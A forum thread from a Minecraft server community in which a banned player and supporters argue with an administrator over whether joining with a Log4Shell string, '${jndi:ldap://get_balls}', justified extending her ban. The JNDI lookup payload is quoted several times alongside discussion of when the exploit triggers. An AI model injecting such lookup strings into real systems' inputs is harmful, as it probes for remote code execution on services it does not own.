Invalidating the Log4Shell allegations on my ban.

Please Note: The TotalFreedom Forum has now been put into a read-only mode. Total Freedom has now closed down and will not be returning in any way, shape or form. It has been a pleasure to lead this community and I wish you all the best for your futures.
1st Official Post

    Hey guys,

    So if you haven't heard about a month ago I was banned from the network for "Abuse of an **exploit** in Plan to create fake hostnames.", while this is partly true some hostnames I joined with were legitimate and probably expired when they were checked (looking at "tf.nocom.pro" specifically) but that is not what I'm coming to talk about but it's rather something different. So basically I only got banned 2 months for doing this fake hostname stuff but my ban is 6 months in duration, the reason for this is that 4 months were added on for attempting for trying to "exploit the server using Log4Shell" which is simply not true with evidence to support from my side that the server would have not been vulnerable at the time. I connected with the log4j string (the string in question is "${jndi:ldap://get_balls}") on the 12th of April (2022), this was at the same time I connected with the other addresses leading to the 2 months but theres a few issues:

    1. Log4Shell (CVE-2021-44228) was discovered on the 21st of November (2021) and received patches to the affected libraries in the 6th of December (2021), now following from a security standpoint many libraries that use Log4J would have been updated instantly on this date or shortly after this date, there is NO reason to have this unpatched 4 months LATER on any part of a system using Log4J, all people who play minecraft would have received an updated version too which patches this on the client-side.

    2. Now I don't think Plan is logging anything with Log4J to the logs, so there should be no issue right? If that is the case Plan would have not responded to such addresses (if I logged in during the vulnerable period which is unlikely since I didn't want to touch Minecraft while such an exploit was roaming around freely) and there should be no reason to respond to this, now it may have affected clientside stuff but it should not have done anything since why would you want to log join addresses in the first place to a log?

    3. The following target "get_balls" is un-resolvable and does not exist and is a clearly implied joke as the words suggest, unless it has been routed internally to lead to somewhere it would not have and if somehow parts of the server were still vulnerable from this 4 months later (this would have been extremely unlikely for reasons I will cover in the next point) it would have simply just thrown a harmless error in console and server operation would have continued as normal with no effects, why this was considered to be able to exploit the server in the first place. I dont know.

    4. From places in the TF Discord (developer discussion channel and announcements) server messages imply that the issue was made aware of and measures were taken on the TF Network at the time to mitigate such attacks like this, you can find this in the announcements channel on the discord server. I am assuming that TF would have taken action on mitigating Log4Shell and updating to safer versions of Paper so there is no real reason to say that it would have caused issues when I logged in with it on the 12th of April which relative to this date was 4 months later after all this stuff has occurred.

    5. TotalFreedom would have updated stuff using Log4J such as plugins and server software (Paper/Scissors and all that) which include patched versions not affected by Log4Shell, so I am assuming Plan would have also updated but there is no reason to believe that issues would have been thrown by Plan since it should have no reason to be using the Log4J library when someone is connecting with a join address.

    This is all the points I'd like to mention and now I have an image to prove that I joined with those addresses on that date from my active minecraft instance I have been using since October of 2021, you can view it at the bottom of this thread.

    I used the "zgrep" command in linux which if you are not familiar is able to look through compressed archives (Minecraft stores logs in .log.gz files) and thus I was able to make it scrub through all of the log entries from ALL of my MultiMC instances to search for the ldap string, according to results shown by zgrep it appears there is three results from a log on the 12th of April in 2022 in the instance I stated I was using from October of 2021 above, I only used it three times and stopped using it after that as I had no more reasons to be joining with fake addresses. In the image I also open up the properties of the three compressed log archives which show the date the logs were last modified, but Minecraft logs show down to the second when something is happening and it is extremely unlikely I made this up as there is no way that you can remember events down to the second, especially something not important like this, you can also see the discovery date and patched date from a google tab in Firefox which shows the information about the CVE/exploit to accompany my points of the log4shell discovery date and patched date above. When this exploit was active I was watching it closely as I had some projects running on Java but were not using log4j but just in case I needed to update some dependencies. To also prove my point if you were to check the server logs at this date which would have been the hub server as there is no way to route to the freedom server directly you can see that I had logged in at these exact times shown in the Minecraft logs.

    I'd also like to state that I clearly had no ill intentions of doing anything that would harm the server as that is not my thing, I respect the rules of online communities and in my case no such rules were broken but I may be mistaken, you would clearly know it was a joke and that no such address or thing exists with "get_balls".

    I'd like if this was looked into a bit more but I'm trying to say that the server would have not been vulnerable from this.

    I also apologize if this is in the wrong topic to publish this under as I don't really write forum posts often, this thread is replacing my "An issue regarding my ban" thread (which I haven't received much clarity on) with a more detailed one proving that I am not guilty of exploiting the server with this string.

    Anyway this is all I've got to say and I'll see you soon,

    Eva.

    You may find the image I was talking about above below:

    image.png

    meow-upscaled.png

    I'm just trying to clear out this stuff (4 (additional) months for "Log4Shell") off my ban as it had no reason to begin with to be handed out on the ban, now that I've provided join dates there should be no more issues in validating that this was done in a time when everything regarding the Log4Shell CVE was completely patched. Eitherway it would've not affected anything and I did not know about this whole join address stuff until April 12th this year despite having prior knowledge that Minecraft just passes the address in the server address box as I am familiar with the Java protocol, after I've conducted a scrub through the entirety of Plan in areas regarding and including Join Addresses my findings show that nothing is passed of such to any logger using Log4J or any other type of logger at all as there is. This should now prove that there is no further reasoning that me joining with such an address even if it was joined with in the Log4Shell CVE's most destructive and active period would have done anything to the server since Join Addresses do not get logged, it's simple. The address used in the string "${jndi:ldap://get_balls}" is clearly labelled "get_balls" with no domain extension, thus it has no reason to resolve anywhere, IF the server was vulnerable there would simply have been an error thrown in the logs and the operation of software using Log4J would've continued as normal with no repercussions following after. This concludes what I have to say about this whole Log4Shell stuff, I've already provided enough evidence leading to the string not being harmful in any way to software using patched or vulnerable builds of the Log4J library.

    meow-upscaled.png

    Quote from Rex

    Simple as, you fucked with the server using an exploit.

    Stay banned

    from my understanding, there's no actual exploit that was used that fucked with the server in any meaningful way. at least for the joining with fake hostnames part. that's not an exploit in the slightest, as you can simply do that from your windows host file. i join with other domains as well, but the difference to ryan seems to be that the ones i use actually exist (since i own said used domains)

    1gaah.png

    Not an exploit, and from what i've seen the thing was patched, eva knew it was patched, the public knew it was patched, and it causes the server no harm, apart from minor headache while sorting plan on who joined with what domain

    Genuinely have no clue why this happened.


    edit: Pretty neutral on this now. Guess what happens happens

    ketchup aX0Qxn3.png

    Edited 2 times, last by ClayCoconut (November 22, 2022 at 6:58 PM).

  • eva November 22, 2022 at 8:14 PM

    Changed the title of the thread from “Disregarding the Log4Shell allegations on my ban.” to “Invalidating the Log4Shell allegations on my ban.”.

    The original appeal was locked, so I'm going to continue to challenge the ban extension in this thread, because frankly I still don't find the reason provided to be sufficient for Eva to have been banned for half an entire year. Two months would have been more than sufficient given how obnoxious it apparently was for Ryan to clean it up, but half a year is absurd.

    Quote from wild1145

    as I've said, there could have been ways what you did here could have damaged the server should the right conditions have been met.

    That string would have only worked if each of these spectacular blunders happened all at once:

    • [Network-level] BungeeCord using Log4J at all for its logging (it simply doesn't)
    • Us running a version of Paper/Scissors that was still vulnerable to the exploit (we didn't and still don't because that would be fucking suicide)
    • The public domain schema allowing underscores in top-level domains (it doesn't).
    • Us for some reason deciding to actually manually resolve the domain get_balls to somewhere that hosted malicious class files (we don't, because that would be retarded) OR manually configure our shit to append .com to the end of domains that fail to resolve (we didn't and still don't, because that's absolutely pointless)
    • Us using something that uses Log4J specifically to log the IP address used by players to join the server (we don't)

    There is no way in hell it could have damaged the server. We have a patched version of Paper, we use BungeeCord, we have a reasonable configuration, and nothing we run even logs that sort of information with Log4J in the first place. It simply couldn't work.

    image.png

    • Official Post
    Quote from videogamesm12

    [Network-level] BungeeCord using Log4J at all for its logging (it simply doesn't)

    Not actually a requirement, the Log4J Dependency just had to be included, which it was on multiple servers and plugins for various reasons even if it wasn't actively used.

    Quote from videogamesm12

    Us running a version of Paper/Scissors that was still vulnerable to the exploit (we didn't and still don't because that would be fucking suicide)

    Entirely possible though which is sort of the point.

    Quote from videogamesm12

    The public domain schema allowing underscores in top-level domains (it doesn't).

    Not really, still entirely possible.

    Quote from videogamesm12

    Us for some reason deciding to actually manually resolve the domain get_balls to somewhere that hosted malicious class files (we don't, because that would be retarded) OR manually configure our shit to append .com to the end of domains that fail to resolve (we didn't and still don't, because that's absolutely pointless)

    Java by default (In my own experience anyway) will postfix a .com to the domain if it can't resolve it.

    Quote from videogamesm12

    Us using something that uses Log4J specifically to log the IP address used by players to join the server (we don't)

    See the first statement, not the case.


    Quote from videogamesm12

    There is no way in hell it could have damaged the server. We have a patched version of Paper, we use BungeeCord, we have a reasonable configuration, and nothing we run even logs that sort of information with Log4J in the first place. It simply couldn't work.

    I've at no point said it did or that we didn't have steps in place to prevent it. The issue is that Eva attempted it, it's not about successfully exploiting something, it's about the fact they tried to do this in the first place.

    As I said before, ignoring all of this and as I've said before, Eva was (if I recall correctly) the 2nd in terms of count of "nonsense" connection names used. I

    I've never seen anything of such happen it tries to resolve "get_balls" but not anything with .com when tested, the domain extension had to be appended before it was passed to log4j.

    No further comments, goodbye

    meow-upscaled.png

    Quote from wild1145

    Not actually a requirement, the Log4J Dependency just had to be included, which it was on multiple servers and plugins for various reasons even if it wasn't actively used.

    No, that's not how the exploit works. The only way it would execute is if Log4J itself was specifically instructed to log (and subsequently process) a string. That's the only way it would work.

    Quote from wild1145

    Entirely possible though which is sort of the point.

    Nope. Paper had already pushed a patch for Log4Shell for 1.17.1 all the way back in December of 2021. Freedom-01 itself had updated to 1.17.1 in January 2022, meaning we absolutely could not have been running a vulnerable version of 1.17.1 by then.

    OZVbww0OKmtFq7Wk.png

    Quote from wild1145

    Not really, still entirely possible.

    Nope. RFC-952, the document that specifies the foundation in which public domain names work, disagrees:

    Quote from RFC-952

    A "name" (Net, Host, Gateway, or Domain name) is a text string up to 24 characters drawn from the alphabet (A-Z), digits (0-9), minus sign (-), and period (.). Note that periods are only allowed when they serve to delimit components of "domain style names". (See RFC-921, "Domain Name System Implementation Schedule", for background). No blank or space characters are permitted as part of a name.

    Nowhere in that text does it say you can use underscores, only that you can use alphanumeric characters in addition to the minus and period. To further test this, I threw "get_balls" into Google Domains to see if it would let you register a domain like "get_balls" or "get_balls.com". It doesn't.

    juFBUBNnW9ngcw9A.png

    Quote from wild1145

    Java by default (In my own experience anyway) will postfix a .com to the domain if it can't resolve it.

    No, it doesn't. I even tested it on a local server that was running a vulnerable version of Log4J. It attempted to resolve get_balls and obviously failed. However, it did not attempt to resolve any other domain, and this is evident by the fact that it didn't throw an error about get_balls.com not resolving properly despite the fact that the domain doesn't exist. You can see the results below:

    ZCS5qRcT81XwwUOr.png

    Quote from wild1145

    See the first statement, not the case.

    Ditto.

    Quote from wild1145

    The issue is that Eva attempted it, it's not about successfully exploiting something, it's about the fact they tried to do this in the first place.

    Why would she even attempt to exploit a vulnerability that she knew was already patched and (for reasons I've stated before) wouldn't have worked anyways?

    image.png

    Quote from eva
    Quote from videogamesm12

    Why would she even attempt to exploit a vulnerability that she knew was already patched and (for reasons I've stated before) wouldn't have worked anyways?

    Exactly, I thought it was already known that I develop software and use Java a ton?

    As I've mentioned in the ban appeal thread for veast I've been following this closely myself as I already had my own infrastructure to keep clean from it since I had services utilizing Log4J running, I don't try stuff if it is vulnerable and I most certainly do not use these exploits on vulnerable services as I am aware of the impact it could cause. I assure that I wouldn't have connected with it while this CVE was active and I don't see further as to why it could've caused damages, only thing it would cause at most was a stack trace but I expected all of TF's infrastructure to be updated at this period in time or else that'd just be bad security practice. Most plugins and builds of paper were patched shortly after its surfacing.

    meow-upscaled.png

    • Official Post

    I'll once again state, you attempted (unsuccessfully) to exploit Log4J on the network. Everything beyond that is ultimately irrelevant, just because we had patched it / put things in place to stop it, doesn't mean you didn't attempt it.

    Ignoring all of that even if I did invalidate the log4j bit and review your ban, the duration would likely get extended due to the number of offences you committed compared to others (As I said, being the 2nd largest offender)

    Quote from wild1145

    I'll once again state, you attempted (unsuccessfully) to exploit Log4J on the network. Everything beyond that is ultimately irrelevant, just because we had patched it / put things in place to stop it, doesn't mean you didn't attempt it.

    Ignoring all of that even if I did invalidate the log4j bit and review your ban, the duration would likely get extended due to the number of offences you committed compared to others (As I said, being the 2nd largest offender)

    Yes but as a whole by the time I have attempted this the entire CVE was well-patched in the Log4J library officially, the resource name "get_balls" had no intents of ever reaching a destination in the first place unless I specified a domain name extension or it internally routed to somewhere, There's nothing written in the Log4J library routes it to anywhere else other than what's specified (does not append .com or anything of the sort) and it needs to be a functional LDAP server which was not plausible in my case, why should this specifically on it's own be considered a primary reason of extension onto the duration? I intended this to be a simple joke alongside with the other fake addresses such as the "|||||||||||||||||||" one and I wasn't even directly intending for it to cause stuff to occur on any part of the network, Log4J never intended for LDAP to be accessible in any string and Join Addresses aren't even parsed using Log4J per code investigation on my end. Nothing would have happened in a scenario where I was to log in and the network was vulnerable since it would need to be logged via Log4J, it's simply illogical to have join addresses being logged to a log other than for debug purposes but debug code generally gets removed/disabled in releases of any software so nothing should've had a reason to pass it to Log4J. I personally considered it to be harmless as at that point in the time it was patched to be not accessible whatsoever.

    meow-upscaled.png